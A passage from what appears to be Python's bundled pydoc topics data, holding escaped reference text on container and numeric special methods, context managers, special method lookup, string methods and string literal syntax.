doesn\'t define a ``__bool__()`` method and whose ``__len__()``\n method returns zero is considered to be false in a Boolean context.\n\nNote: Slicing is done exclusively with the following three methods. A\n call like\n\n a[1:2] = b\n\n is translated to\n\n a[slice(1, 2, None)] = b\n\n and so forth. Missing slice items are always filled in with\n ``None``.\n\nobject.__getitem__(self, key)\n\n Called to implement evaluation of ``self[key]``. For sequence\n types, the accepted keys should be integers and slice objects.\n Note that the special interpretation of negative indexes (if the\n class wishes to emulate a sequence type) is up to the\n ``__getitem__()`` method. If *key* is of an inappropriate type,\n ``TypeError`` may be raised; if of a value outside the set of\n indexes for the sequence (after any special interpretation of\n negative values), ``IndexError`` should be raised. For mapping\n types, if *key* is missing (not in the container), ``KeyError``\n should be raised.\n\n Note: ``for`` loops expect that an ``IndexError`` will be raised for\n illegal indexes to allow proper detection of the end of the\n sequence.\n\nobject.__setitem__(self, key, value)\n\n Called to implement assignment to ``self[key]``. Same note as for\n ``__getitem__()``. This should only be implemented for mappings if\n the objects support changes to the values for keys, or if new keys\n can be added, or for sequences if elements can be replaced. The\n same exceptions should be raised for improper *key* values as for\n the ``__getitem__()`` method.\n\nobject.__delitem__(self, key)\n\n Called to implement deletion of ``self[key]``. Same note as for\n ``__getitem__()``. This should only be implemented for mappings if\n the objects support removal of keys, or for sequences if elements\n can be removed from the sequence. The same exceptions should be\n raised for improper *key* values as for the ``__getitem__()``\n method.\n\nobject.__iter__(self)\n\n This method is called when an iterator is required for a container.\n This method should return a new iterator object that can iterate\n over all the objects in the container. For mappings, it should\n iterate over the keys of the container, and should also be made\n available as the method ``keys()``.\n\n Iterator objects also need to implement this method; they are\n required to return themselves. For more information on iterator\n objects, see *Iterator Types*.\n\nobject.__reversed__(self)\n\n Called (if present) by the ``reversed()`` built-in to implement\n reverse iteration. It should return a new iterator object that\n iterates over all the objects in the container in reverse order.\n\n If the ``__reversed__()`` method is not provided, the\n ``reversed()`` built-in will fall back to using the sequence\n protocol (``__len__()`` and ``__getitem__()``). Objects that\n support the sequence protocol should only provide\n ``__reversed__()`` if they can provide an implementation that is\n more efficient than the one provided by ``reversed()``.\n\nThe membership test operators (``in`` and ``not in``) are normally\nimplemented as an iteration through a sequence. However, container\nobjects can supply the following special method with a more efficient\nimplementation, which also does not require the object be a sequence.\n\nobject.__contains__(self, item)\n\n Called to implement membership test operators. Should return true\n if *item* is in *self*, false otherwise. For mapping objects, this\n should consider the keys of the mapping rather than the values or\n the key-item pairs.\n\n For objects that don\'t define ``__contains__()``, the membership\n test first tries iteration via ``__iter__()``, then the old\n sequence iteration protocol via ``__getitem__()``, see *this\n section in the language reference*.\n\n\nEmulating numeric types\n=======================\n\nThe following methods can be defined to emulate numeric objects.\nMethods corresponding to operations that are not supported by the\nparticular kind of number implemented (e.g., bitwise operations for\nnon-integral numbers) should be left undefined.\n\nobject.__add__(self, other)\nobject.__sub__(self, other)\nobject.__mul__(self, other)\nobject.__truediv__(self, other)\nobject.__floordiv__(self, other)\nobject.__mod__(self, other)\nobject.__divmod__(self, other)\nobject.__pow__(self, other[, modulo])\nobject.__lshift__(self, other)\nobject.__rshift__(self, other)\nobject.__and__(self, other)\nobject.__xor__(self, other)\nobject.__or__(self, other)\n\n These methods are called to implement the binary arithmetic\n operations (``+``, ``-``, ``*``, ``/``, ``//``, ``%``,\n ``divmod()``, ``pow()``, ``**``, ``<<``, ``>>``, ``&``, ``^``,\n ``|``). For instance, to evaluate the expression ``x + y``, where\n *x* is an instance of a class that has an ``__add__()`` method,\n ``x.__add__(y)`` is called. The ``__divmod__()`` method should be\n the equivalent to using ``__floordiv__()`` and ``__mod__()``; it\n should not be related to ``__truediv__()``. Note that\n ``__pow__()`` should be defined to accept an optional third\n argument if the ternary version of the built-in ``pow()`` function\n is to be supported.\n\n If one of those methods does not support the operation with the\n supplied arguments, it should return ``NotImplemented``.\n\nobject.__radd__(self, other)\nobject.__rsub__(self, other)\nobject.__rmul__(self, other)\nobject.__rtruediv__(self, other)\nobject.__rfloordiv__(self, other)\nobject.__rmod__(self, other)\nobject.__rdivmod__(self, other)\nobject.__rpow__(self, other)\nobject.__rlshift__(self, other)\nobject.__rrshift__(self, other)\nobject.__rand__(self, other)\nobject.__rxor__(self, other)\nobject.__ror__(self, other)\n\n These methods are called to implement the binary arithmetic\n operations (``+``, ``-``, ``*``, ``/``, ``//``, ``%``,\n ``divmod()``, ``pow()``, ``**``, ``<<``, ``>>``, ``&``, ``^``,\n ``|``) with reflected (swapped) operands. These functions are only\n called if the left operand does not support the corresponding\n operation and the operands are of different types. [2] For\n instance, to evaluate the expression ``x - y``, where *y* is an\n instance of a class that has an ``__rsub__()`` method,\n ``y.__rsub__(x)`` is called if ``x.__sub__(y)`` returns\n *NotImplemented*.\n\n Note that ternary ``pow()`` will not try calling ``__rpow__()``\n (the coercion rules would become too complicated).\n\n Note: If the right operand\'s type is a subclass of the left operand\'s\n type and that subclass provides the reflected method for the\n operation, this method will be called before the left operand\'s\n non-reflected method. This behavior allows subclasses to\n override their ancestors\' operations.\n\nobject.__iadd__(self, other)\nobject.__isub__(self, other)\nobject.__imul__(self, other)\nobject.__itruediv__(self, other)\nobject.__ifloordiv__(self, other)\nobject.__imod__(self, other)\nobject.__ipow__(self, other[, modulo])\nobject.__ilshift__(self, other)\nobject.__irshift__(self, other)\nobject.__iand__(self, other)\nobject.__ixor__(self, other)\nobject.__ior__(self, other)\n\n These methods are called to implement the augmented arithmetic\n assignments (``+=``, ``-=``, ``*=``, ``/=``, ``//=``, ``%=``,\n ``**=``, ``<<=``, ``>>=``, ``&=``, ``^=``, ``|=``). These methods\n should attempt to do the operation in-place (modifying *self*) and\n return the result (which could be, but does not have to be,\n *self*). If a specific method is not defined, the augmented\n assignment falls back to the normal methods. For instance, to\n execute the statement ``x += y``, where *x* is an instance of a\n class that has an ``__iadd__()`` method, ``x.__iadd__(y)`` is\n called. If *x* is an instance of a class that does not define a\n ``__iadd__()`` method, ``x.__add__(y)`` and ``y.__radd__(x)`` are\n considered, as with the evaluation of ``x + y``.\n\nobject.__neg__(self)\nobject.__pos__(self)\nobject.__abs__(self)\nobject.__invert__(self)\n\n Called to implement the unary arithmetic operations (``-``, ``+``,\n ``abs()`` and ``~``).\n\nobject.__complex__(self)\nobject.__int__(self)\nobject.__float__(self)\nobject.__round__(self[, n])\n\n Called to implement the built-in functions ``complex()``,\n ``int()``, ``float()`` and ``round()``. Should return a value of\n the appropriate type.\n\nobject.__index__(self)\n\n Called to implement ``operator.index()``. Also called whenever\n Python needs an integer object (such as in slicing, or in the\n built-in ``bin()``, ``hex()`` and ``oct()`` functions). Must return\n an integer.\n\n\nWith Statement Context Managers\n===============================\n\nA *context manager* is an object that defines the runtime context to\nbe established when executing a ``with`` statement. The context\nmanager handles the entry into, and the exit from, the desired runtime\ncontext for the execution of the block of code. Context managers are\nnormally invoked using the ``with`` statement (described in section\n*The with statement*), but can also be used by directly invoking their\nmethods.\n\nTypical uses of context managers include saving and restoring various\nkinds of global state, locking and unlocking resources, closing opened\nfiles, etc.\n\nFor more information on context managers, see *Context Manager Types*.\n\nobject.__enter__(self)\n\n Enter the runtime context related to this object. The ``with``\n statement will bind this method\'s return value to the target(s)\n specified in the ``as`` clause of the statement, if any.\n\nobject.__exit__(self, exc_type, exc_value, traceback)\n\n Exit the runtime context related to this object. The parameters\n describe the exception that caused the context to be exited. If the\n context was exited without an exception, all three arguments will\n be ``None``.\n\n If an exception is supplied, and the method wishes to suppress the\n exception (i.e., prevent it from being propagated), it should\n return a true value. Otherwise, the exception will be processed\n normally upon exit from this method.\n\n Note that ``__exit__()`` methods should not reraise the passed-in\n exception; this is the caller\'s responsibility.\n\nSee also:\n\n **PEP 0343** - The "with" statement\n The specification, background, and examples for the Python\n ``with`` statement.\n\n\nSpecial method lookup\n=====================\n\nFor custom classes, implicit invocations of special methods are only\nguaranteed to work correctly if defined on an object\'s type, not in\nthe object\'s instance dictionary. That behaviour is the reason why\nthe following code raises an exception:\n\n >>> class C:\n ... pass\n ...\n >>> c = C()\n >>> c.__len__ = lambda: 5\n >>> len(c)\n Traceback (most recent call last):\n File "<stdin>", line 1, in <module>\n TypeError: object of type \'C\' has no len()\n\nThe rationale behind this behaviour lies with a number of special\nmethods such as ``__hash__()`` and ``__repr__()`` that are implemented\nby all objects, including type objects. If the implicit lookup of\nthese methods used the conventional lookup process, they would fail\nwhen invoked on the type object itself:\n\n >>> 1 .__hash__() == hash(1)\n True\n >>> int.__hash__() == hash(int)\n Traceback (most recent call last):\n File "<stdin>", line 1, in <module>\n TypeError: descriptor \'__hash__\' of \'int\' object needs an argument\n\nIncorrectly attempting to invoke an unbound method of a class in this\nway is sometimes referred to as \'metaclass confusion\', and is avoided\nby bypassing the instance when looking up special methods:\n\n >>> type(1).__hash__(1) == hash(1)\n True\n >>> type(int).__hash__(int) == hash(int)\n True\n\nIn addition to bypassing any instance attributes in the interest of\ncorrectness, implicit special method lookup generally also bypasses\nthe ``__getattribute__()`` method even of the object\'s metaclass:\n\n >>> class Meta(type):\n ... def __getattribute__(*args):\n ... print("Metaclass getattribute invoked")\n ... return type.__getattribute__(*args)\n ...\n >>> class C(object, metaclass=Meta):\n ... def __len__(self):\n ... return 10\n ... def __getattribute__(*args):\n ... print("Class getattribute invoked")\n ... return object.__getattribute__(*args)\n ...\n >>> c = C()\n >>> c.__len__() # Explicit lookup via instance\n Class getattribute invoked\n 10\n >>> type(c).__len__(c) # Explicit lookup via type\n Metaclass getattribute invoked\n 10\n >>> len(c) # Implicit lookup\n 10\n\nBypassing the ``__getattribute__()`` machinery in this fashion\nprovides significant scope for speed optimisations within the\ninterpreter, at the cost of some flexibility in the handling of\nspecial methods (the special method *must* be set on the class object\nitself in order to be consistently invoked by the interpreter).\n\n-[ Footnotes ]-\n\n[1] It *is* possible in some cases to change an object\'s type, under\n certain controlled conditions. It generally isn\'t a good idea\n though, since it can lead to some very strange behaviour if it is\n handled incorrectly.\n\n[2] For operands of the same type, it is assumed that if the non-\n reflected method (such as ``__add__()``) fails the operation is\n not supported, which is why the reflected method is not called.\n', 'string-methods': '\nString Methods\n**************\n\nStrings implement all of the *common* sequence operations, along with\nthe additional methods described below.\n\nStrings also support two styles of string formatting, one providing a\nlarge degree of flexibility and customization (see ``str.format()``,\n*Format String Syntax* and *String Formatting*) and the other based on\nC ``printf`` style formatting that handles a narrower range of types\nand is slightly harder to use correctly, but is often faster for the\ncases it can handle (*printf-style String Formatting*).\n\nThe *Text Processing Services* section of the standard library covers\na number of other modules that provide various text related utilities\n(including regular expression support in the ``re`` module).\n\nstr.capitalize()\n\n Return a copy of the string with its first character capitalized\n and the rest lowercased.\n\nstr.casefold()\n\n Return a casefolded copy of the string. Casefolded strings may be\n used for caseless matching.\n\n Casefolding is similar to lowercasing but more aggressive because\n it is intended to remove all case distinctions in a string. For\n example, the German lowercase letter ``\'\xc3\x9f\'`` is equivalent to\n ``"ss"``. Since it is already lowercase, ``lower()`` would do\n nothing to ``\'\xc3\x9f\'``; ``casefold()`` converts it to ``"ss"``.\n\n The casefolding algorithm is described in section 3.13 of the\n Unicode Standard.\n\n New in version 3.3.\n\nstr.center(width[, fillchar])\n\n Return centered in a string of length *width*. Padding is done\n using the specified *fillchar* (default is a space).\n\nstr.count(sub[, start[, end]])\n\n Return the number of non-overlapping occurrences of substring *sub*\n in the range [*start*, *end*]. Optional arguments *start* and\n *end* are interpreted as in slice notation.\n\nstr.encode(encoding="utf-8", errors="strict")\n\n Return an encoded version of the string as a bytes object. Default\n encoding is ``\'utf-8\'``. *errors* may be given to set a different\n error handling scheme. The default for *errors* is ``\'strict\'``,\n meaning that encoding errors raise a ``UnicodeError``. Other\n possible values are ``\'ignore\'``, ``\'replace\'``,\n ``\'xmlcharrefreplace\'``, ``\'backslashreplace\'`` and any other name\n registered via ``codecs.register_error()``, see section *Codec Base\n Classes*. For a list of possible encodings, see section *Standard\n Encodings*.\n\n Changed in version 3.1: Support for keyword arguments added.\n\nstr.endswith(suffix[, start[, end]])\n\n Return ``True`` if the string ends with the specified *suffix*,\n otherwise return ``False``. *suffix* can also be a tuple of\n suffixes to look for. With optional *start*, test beginning at\n that position. With optional *end*, stop comparing at that\n position.\n\nstr.expandtabs([tabsize])\n\n Return a copy of the string where all tab characters are replaced\n by zero or more spaces, depending on the current column and the\n given tab size. The column number is reset to zero after each\n newline occurring in the string. If *tabsize* is not given, a tab\n size of ``8`` characters is assumed. This doesn\'t understand other\n non-printing characters or escape sequences.\n\nstr.find(sub[, start[, end]])\n\n Return the lowest index in the string where substring *sub* is\n found, such that *sub* is contained in the slice ``s[start:end]``.\n Optional arguments *start* and *end* are interpreted as in slice\n notation. Return ``-1`` if *sub* is not found.\n\n Note: The ``find()`` method should be used only if you need to know the\n position of *sub*. To check if *sub* is a substring or not, use\n the ``in`` operator:\n\n >>> \'Py\' in \'Python\'\n True\n\nstr.format(*args, **kwargs)\n\n Perform a string formatting operation. The string on which this\n method is called can contain literal text or replacement fields\n delimited by braces ``{}``. Each replacement field contains either\n the numeric index of a positional argument, or the name of a\n keyword argument. Returns a copy of the string where each\n replacement field is replaced with the string value of the\n corresponding argument.\n\n >>> "The sum of 1 + 2 is {0}".format(1+2)\n \'The sum of 1 + 2 is 3\'\n\n See *Format String Syntax* for a description of the various\n formatting options that can be specified in format strings.\n\nstr.format_map(mapping)\n\n Similar to ``str.format(**mapping)``, except that ``mapping`` is\n used directly and not copied to a ``dict`` . This is useful if for\n example ``mapping`` is a dict subclass:\n\n >>> class Default(dict):\n ... def __missing__(self, key):\n ... return key\n ...\n >>> \'{name} was born in {country}\'.format_map(Default(name=\'Guido\'))\n \'Guido was born in country\'\n\n New in version 3.2.\n\nstr.index(sub[, start[, end]])\n\n Like ``find()``, but raise ``ValueError`` when the substring is not\n found.\n\nstr.isalnum()\n\n Return true if all characters in the string are alphanumeric and\n there is at least one character, false otherwise. A character\n ``c`` is alphanumeric if one of the following returns ``True``:\n ``c.isalpha()``, ``c.isdecimal()``, ``c.isdigit()``, or\n ``c.isnumeric()``.\n\nstr.isalpha()\n\n Return true if all characters in the string are alphabetic and\n there is at least one character, false otherwise. Alphabetic\n characters are those characters defined in the Unicode character\n database as "Letter", i.e., those with general category property\n being one of "Lm", "Lt", "Lu", "Ll", or "Lo". Note that this is\n different from the "Alphabetic" property defined in the Unicode\n Standard.\n\nstr.isdecimal()\n\n Return true if all characters in the string are decimal characters\n and there is at least one character, false otherwise. Decimal\n characters are those from general category "Nd". This category\n includes digit characters, and all characters that can be used to\n form decimal-radix numbers, e.g. U+0660, ARABIC-INDIC DIGIT ZERO.\n\nstr.isdigit()\n\n Return true if all characters in the string are digits and there is\n at least one character, false otherwise. Digits include decimal\n characters and digits that need special handling, such as the\n compatibility superscript digits. Formally, a digit is a character\n that has the property value Numeric_Type=Digit or\n Numeric_Type=Decimal.\n\nstr.isidentifier()\n\n Return true if the string is a valid identifier according to the\n language definition, section *Identifiers and keywords*.\n\nstr.islower()\n\n Return true if all cased characters [4] in the string are lowercase\n and there is at least one cased character, false otherwise.\n\nstr.isnumeric()\n\n Return true if all characters in the string are numeric characters,\n and there is at least one character, false otherwise. Numeric\n characters include digit characters, and all characters that have\n the Unicode numeric value property, e.g. U+2155, VULGAR FRACTION\n ONE FIFTH. Formally, numeric characters are those with the\n property value Numeric_Type=Digit, Numeric_Type=Decimal or\n Numeric_Type=Numeric.\n\nstr.isprintable()\n\n Return true if all characters in the string are printable or the\n string is empty, false otherwise. Nonprintable characters are\n those characters defined in the Unicode character database as\n "Other" or "Separator", excepting the ASCII space (0x20) which is\n considered printable. (Note that printable characters in this\n context are those which should not be escaped when ``repr()`` is\n invoked on a string. It has no bearing on the handling of strings\n written to ``sys.stdout`` or ``sys.stderr``.)\n\nstr.isspace()\n\n Return true if there are only whitespace characters in the string\n and there is at least one character, false otherwise. Whitespace\n characters are those characters defined in the Unicode character\n database as "Other" or "Separator" and those with bidirectional\n property being one of "WS", "B", or "S".\n\nstr.istitle()\n\n Return true if the string is a titlecased string and there is at\n least one character, for example uppercase characters may only\n follow uncased characters and lowercase characters only cased ones.\n Return false otherwise.\n\nstr.isupper()\n\n Return true if all cased characters [4] in the string are uppercase\n and there is at least one cased character, false otherwise.\n\nstr.join(iterable)\n\n Return a string which is the concatenation of the strings in the\n *iterable* *iterable*. A ``TypeError`` will be raised if there are\n any non-string values in *iterable*, including ``bytes`` objects.\n The separator between elements is the string providing this method.\n\nstr.ljust(width[, fillchar])\n\n Return the string left justified in a string of length *width*.\n Padding is done using the specified *fillchar* (default is a\n space). The original string is returned if *width* is less than or\n equal to ``len(s)``.\n\nstr.lower()\n\n Return a copy of the string with all the cased characters [4]\n converted to lowercase.\n\n The lowercasing algorithm used is described in section 3.13 of the\n Unicode Standard.\n\nstr.lstrip([chars])\n\n Return a copy of the string with leading characters removed. The\n *chars* argument is a string specifying the set of characters to be\n removed. If omitted or ``None``, the *chars* argument defaults to\n removing whitespace. The *chars* argument is not a prefix; rather,\n all combinations of its values are stripped:\n\n >>> \' spacious \'.lstrip()\n \'spacious \'\n >>> \'www.example.com\'.lstrip(\'cmowz.\')\n \'example.com\'\n\nstatic str.maketrans(x[, y[, z]])\n\n This static method returns a translation table usable for\n ``str.translate()``.\n\n If there is only one argument, it must be a dictionary mapping\n Unicode ordinals (integers) or characters (strings of length 1) to\n Unicode ordinals, strings (of arbitrary lengths) or None.\n Character keys will then be converted to ordinals.\n\n If there are two arguments, they must be strings of equal length,\n and in the resulting dictionary, each character in x will be mapped\n to the character at the same position in y. If there is a third\n argument, it must be a string, whose characters will be mapped to\n None in the result.\n\nstr.partition(sep)\n\n Split the string at the first occurrence of *sep*, and return a\n 3-tuple containing the part before the separator, the separator\n itself, and the part after the separator. If the separator is not\n found, return a 3-tuple containing the string itself, followed by\n two empty strings.\n\nstr.replace(old, new[, count])\n\n Return a copy of the string with all occurrences of substring *old*\n replaced by *new*. If the optional argument *count* is given, only\n the first *count* occurrences are replaced.\n\nstr.rfind(sub[, start[, end]])\n\n Return the highest index in the string where substring *sub* is\n found, such that *sub* is contained within ``s[start:end]``.\n Optional arguments *start* and *end* are interpreted as in slice\n notation. Return ``-1`` on failure.\n\nstr.rindex(sub[, start[, end]])\n\n Like ``rfind()`` but raises ``ValueError`` when the substring *sub*\n is not found.\n\nstr.rjust(width[, fillchar])\n\n Return the string right justified in a string of length *width*.\n Padding is done using the specified *fillchar* (default is a\n space). The original string is returned if *width* is less than or\n equal to ``len(s)``.\n\nstr.rpartition(sep)\n\n Split the string at the last occurrence of *sep*, and return a\n 3-tuple containing the part before the separator, the separator\n itself, and the part after the separator. If the separator is not\n found, return a 3-tuple containing two empty strings, followed by\n the string itself.\n\nstr.rsplit(sep=None, maxsplit=-1)\n\n Return a list of the words in the string, using *sep* as the\n delimiter string. If *maxsplit* is given, at most *maxsplit* splits\n are done, the *rightmost* ones. If *sep* is not specified or\n ``None``, any whitespace string is a separator. Except for\n splitting from the right, ``rsplit()`` behaves like ``split()``\n which is described in detail below.\n\nstr.rstrip([chars])\n\n Return a copy of the string with trailing characters removed. The\n *chars* argument is a string specifying the set of characters to be\n removed. If omitted or ``None``, the *chars* argument defaults to\n removing whitespace. The *chars* argument is not a suffix; rather,\n all combinations of its values are stripped:\n\n >>> \' spacious \'.rstrip()\n \' spacious\'\n >>> \'mississippi\'.rstrip(\'ipz\')\n \'mississ\'\n\nstr.split(sep=None, maxsplit=-1)\n\n Return a list of the words in the string, using *sep* as the\n delimiter string. If *maxsplit* is given, at most *maxsplit*\n splits are done (thus, the list will have at most ``maxsplit+1``\n elements). If *maxsplit* is not specified or ``-1``, then there is\n no limit on the number of splits (all possible splits are made).\n\n If *sep* is given, consecutive delimiters are not grouped together\n and are deemed to delimit empty strings (for example,\n ``\'1,,2\'.split(\',\')`` returns ``[\'1\', \'\', \'2\']``). The *sep*\n argument may consist of multiple characters (for example,\n ``\'1<>2<>3\'.split(\'<>\')`` returns ``[\'1\', \'2\', \'3\']``). Splitting\n an empty string with a specified separator returns ``[\'\']``.\n\n If *sep* is not specified or is ``None``, a different splitting\n algorithm is applied: runs of consecutive whitespace are regarded\n as a single separator, and the result will contain no empty strings\n at the start or end if the string has leading or trailing\n whitespace. Consequently, splitting an empty string or a string\n consisting of just whitespace with a ``None`` separator returns\n ``[]``.\n\n For example, ``\' 1 2 3 \'.split()`` returns ``[\'1\', \'2\', \'3\']``,\n and ``\' 1 2 3 \'.split(None, 1)`` returns ``[\'1\', \'2 3 \']``.\n\nstr.splitlines([keepends])\n\n Return a list of the lines in the string, breaking at line\n boundaries. This method uses the *universal newlines* approach to\n splitting lines. Line breaks are not included in the resulting list\n unless *keepends* is given and true.\n\n For example, ``\'ab c\\n\\nde fg\\rkl\\r\\n\'.splitlines()`` returns\n ``[\'ab c\', \'\', \'de fg\', \'kl\']``, while the same call with\n ``splitlines(True)`` returns ``[\'ab c\\n\', \'\\n\', \'de fg\\r\',\n \'kl\\r\\n\']``.\n\n Unlike ``split()`` when a delimiter string *sep* is given, this\n method returns an empty list for the empty string, and a terminal\n line break does not result in an extra line.\n\nstr.startswith(prefix[, start[, end]])\n\n Return ``True`` if string starts with the *prefix*, otherwise\n return ``False``. *prefix* can also be a tuple of prefixes to look\n for. With optional *start*, test string beginning at that\n position. With optional *end*, stop comparing string at that\n position.\n\nstr.strip([chars])\n\n Return a copy of the string with the leading and trailing\n characters removed. The *chars* argument is a string specifying the\n set of characters to be removed. If omitted or ``None``, the\n *chars* argument defaults to removing whitespace. The *chars*\n argument is not a prefix or suffix; rather, all combinations of its\n values are stripped:\n\n >>> \' spacious \'.strip()\n \'spacious\'\n >>> \'www.example.com\'.strip(\'cmowz.\')\n \'example\'\n\nstr.swapcase()\n\n Return a copy of the string with uppercase characters converted to\n lowercase and vice versa. Note that it is not necessarily true that\n ``s.swapcase().swapcase() == s``.\n\nstr.title()\n\n Return a titlecased version of the string where words start with an\n uppercase character and the remaining characters are lowercase.\n\n The algorithm uses a simple language-independent definition of a\n word as groups of consecutive letters. The definition works in\n many contexts but it means that apostrophes in contractions and\n possessives form word boundaries, which may not be the desired\n result:\n\n >>> "they\'re bill\'s friends from the UK".title()\n "They\'Re Bill\'S Friends From The Uk"\n\n A workaround for apostrophes can be constructed using regular\n expressions:\n\n >>> import re\n >>> def titlecase(s):\n ... return re.sub(r"[A-Za-z]+(\'[A-Za-z]+)?",\n ... lambda mo: mo.group(0)[0].upper() +\n ... mo.group(0)[1:].lower(),\n ... s)\n ...\n >>> titlecase("they\'re bill\'s friends.")\n "They\'re Bill\'s Friends."\n\nstr.translate(map)\n\n Return a copy of the *s* where all characters have been mapped\n through the *map* which must be a dictionary of Unicode ordinals\n (integers) to Unicode ordinals, strings or ``None``. Unmapped\n characters are left untouched. Characters mapped to ``None`` are\n deleted.\n\n You can use ``str.maketrans()`` to create a translation map from\n character-to-character mappings in different formats.\n\n Note: An even more flexible approach is to create a custom character\n mapping codec using the ``codecs`` module (see\n ``encodings.cp1251`` for an example).\n\nstr.upper()\n\n Return a copy of the string with all the cased characters [4]\n converted to uppercase. Note that ``str.upper().isupper()`` might\n be ``False`` if ``s`` contains uncased characters or if the Unicode\n category of the resulting character(s) is not "Lu" (Letter,\n uppercase), but e.g. "Lt" (Letter, titlecase).\n\n The uppercasing algorithm used is described in section 3.13 of the\n Unicode Standard.\n\nstr.zfill(width)\n\n Return the numeric string left filled with zeros in a string of\n length *width*. A sign prefix is handled correctly. The original\n string is returned if *width* is less than or equal to ``len(s)``.\n', 'strings': '\nString and Bytes literals\n*************************\n\nString literals are described by the following lexical definitions:\n\n stringliteral ::= [stringprefix](shortstring | longstring)\n stringprefix ::= "r" | "u" | "R" | "U"\n shortstring ::= "\'" shortstringitem* "\'" | \'"\' shortstringitem* \'"\'\n longstring ::= "\'\'\'" longstringitem* "\'\'\'" | \'"""\' longstringitem* \'"""\'\n shortstringitem ::= shortstringchar | stringescapeseq\n longstringitem ::= longstringchar | stringescapeseq\n shortstringchar ::= <any source character except "\\" or newline or the quote>\n longstringchar ::= <any source character except "\\">\n stringescapeseq ::= "\\" <any source character>\n\n bytesliteral ::= bytesprefix(shortbytes | longbytes)\n bytesprefix ::= "b" | "B" | "br" | "Br" | "bR" | "BR" | "rb" | "rB" | "Rb" | "RB"\n shortbytes ::= "\'" shortbytesitem* "\'" | \'"\' shortbytesitem* \'"\'\n longbytes ::= "\'\'\'" longbytesitem* "\'\'\'" | \'"""\' longbytesitem* \'"""\'\n shortbytesitem ::= shortbyteschar | bytesescapeseq\n longbytesitem ::= longbyteschar | bytesescapeseq\n shortbyteschar ::= <any ASCII character except "\\" or newline or the quote>\n longbyteschar ::= <any ASCII character except "\\">\n bytesescapeseq ::= "\\" <any ASCII character>\n\nOne syntactic restriction not indicated by these productions is that\nwhitespace is not allowed between the ``stringprefix`` or\n``bytesprefix`` and the rest of the literal. The source character set\nis defined by the encoding declaration; it is UTF-8 if no encoding\ndeclaration is given in the source file; see section *Encoding\ndeclarations*.\n\nIn plain English: Both types of literals can be enclosed in matching\nsingle quotes (``\'``) or double quotes (``"``). They can also be\nenclosed in matching groups of three single or double quotes (these\nare generally referred to as *triple-quoted strings*). The backslash\n(``\\``) character is used to escape characters that otherwise have a\nspecial meaning, such as newline, backslash itself, or the quote\ncharacter.\n\nBytes literals are always prefixed with ``\'b\'`` or ``\'B\'``; they\nproduce an instance of the ``bytes`` type instead of the ``str`` type.\nThey may only contain ASCII characters; bytes with a numeric value of\n128 or greater must be expressed with escapes.\n\nAs of Python 3.3 it is possible again to prefix unicode strings with a\n``u`` prefix to simplify maintenance of dual 2.x and 3.x codebases.\n\nBoth string and bytes literals may optionally be prefixed with a\nletter ``\'r\'`` or ``\'R\'``; such strings are called *raw strings* and\ntreat backslashes as literal characters. As a result, in string\nliterals, ``\'\\U\'`` and ``\'\\u\'`` escapes in raw strings are not treated\nspecially. Given that Python 2.x\'s raw unicode literals behave\ndifferently than Python 3.x\'s the ``\'ur\'`` syntax is not supported.\n\n New in version 3.3: The ``\'rb\'`` prefix of raw bytes literals has\n been added as a synonym of ``\'br\'``.\n\n New in version 3.3: Support for the unicode legacy literal\n (``u\'value\'``) was reintroduced to simplify the maintenance of dual\n Python 2.x and 3.x codebases. See **PEP 414** for more information.\n\nIn triple-quoted strings, unescaped newlines and quotes are allowed\n(and are retained), except that three unescaped quotes in a row\nterminate the string. (A "quote" is the character used to open the\nstring, i.e. either ``\'`` or ``"``.)\n\nUnless an ``\'r\'`` or ``\'R\'`` prefix is present, escape sequences in\nstrings are interpreted according to rules similar to those used by\nStandard C. The recognized escape sequences are:\n\n+-------------------+-----------------------------------+---------+\n| Escape Sequence | Meaning | Notes |\n+===================+===================================+=========+\n| ``\\newline`` | Backslash and newline ignored | |\n+-------------------+-----------------------------------+---------+\n| ``\\\\`` | Backslash (``\\``) | |\n+-------------------+-----------------------------------+---------+\n| ``\\\'`` | Single quote (``\'``) | |\n+-------------------+-----------------------------------+---------+\n| ``\\"`` | Double quote (``"``) | |\n+-------------------+-----------------------------------+---------+\n| ``\\a`` | ASCII Bell (BEL) | |\n+-------------------+-----------------------------------+---------+\n| ``\\b`` | ASCII Backspace (BS) | |\n+-------------------+-----------------------------------+---------+\n| ``\\f`` | ASCII Formfeed (FF) | |\n+-------------------+-----------------------------------+---------+\n| ``\\n`` | ASCII Linefeed (LF) | |\n+-------------------+-----------------------------------+---------+\n| ``\\r`` | ASCII Carriage Return (CR) | |\n+-------------------+-----------------------------------+---------+\n| ``\\t`` | ASCII Horizontal Tab (TAB) | |\n+-------------------+-----------------------------------+---------+\n| ``\\v`` | ASCII Vertical Tab (VT) | |\n+-------------------+-----------------------------------+---------+\n| ``\\ooo`` | Character with octal value *ooo* | (1,3) |\n+-------------------+-----------------------------------+---------+\n| ``\\xhh`` | Character with hex value *hh* | (2,3) |\n+-------------------+-----------------------------------+---------+\n\nEscape sequences only recognized in string literals are:\n\n+-------------------+-----------------------------------+---------+\n| Escape Sequence | Meaning | Notes |\n+===================+===================================+=========+\n| ``\\N{name}`` | Character named *name* in the | (4) |\n| | Unicode database | |\n+-------------------+-----------------------------------+---------+\n| ``\\uxxxx`` | Character with 16-bit hex value | (5) |\n| | *xxxx* | |\n+-------------------+-----------------------------------+---------+\n| ``\\Uxxxxxxxx`` | Character with 32-bit hex value | (6) |\n| | *xxxxxxxx* | |\n+-------------------+-----------------------------------+---------+\n\nNotes:\n\n1. As in Standard C, up to three octal digits are accepted.\n\n2. Unlike in Standard C, exactly two hex digits are required.\n\n3. In a bytes literal, hexadecimal and octal escapes denote the byte\n with the given value. In a string literal, these escapes denote a\n Unicode character with the given value.\n\n4. Changed in version 3.3: Support for name aliases [1] has been\n added.\n\n5. Individual code units which form parts of a surrogate pair can be\n encoded using this escape sequence. Exactly four hex digits are\n required.\n\n6. Any Unicode character can be encoded this way. Exactly eight hex\n digits are required.\n\nUnlike Standard C, all unrecognized escape sequences are left in the\nstring unchanged, i.e., *the backslash is left in the string*. (This\nbehavior is useful when debugging: if an escape sequence is mistyped,\nthe resulting output is more easily recognized as broken.) It is also\nimportant to note that the escape sequences only recognized in string\nliterals fall into the category of unrecognized escapes for bytes\nliterals.\n\nEven in a raw string, string quotes can be escaped with a backslash,\nbut the backslash remains in the string; for example, ``r"\\""`` is a\nvalid string literal consisting of two characters: a backslash and a\ndouble quote; ``r"\\"`` is not a valid string literal (even a raw\nstring cannot end in an odd number of backslashes). Specifically, *a\nraw string cannot end in a single backslash* (since the backslash\nwould escape the following quote character). Note also that a single\nbackslash followed by a newline is interpreted as those two characters\nas part of the string, *not* as a line continuation.\n', 'subscriptions': '\nSubscriptions\n*************\n\nA subscription selects an item 